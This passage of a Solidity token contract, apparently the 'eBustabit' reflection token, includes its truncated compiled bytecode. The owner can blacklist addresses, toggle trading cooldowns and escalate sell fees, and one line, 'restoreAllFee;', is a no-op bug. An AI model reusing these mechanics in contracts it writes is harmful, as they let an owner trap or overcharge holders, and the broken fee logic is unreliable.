emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600981526020017f6542757374616269740000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f6542757374616269740000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613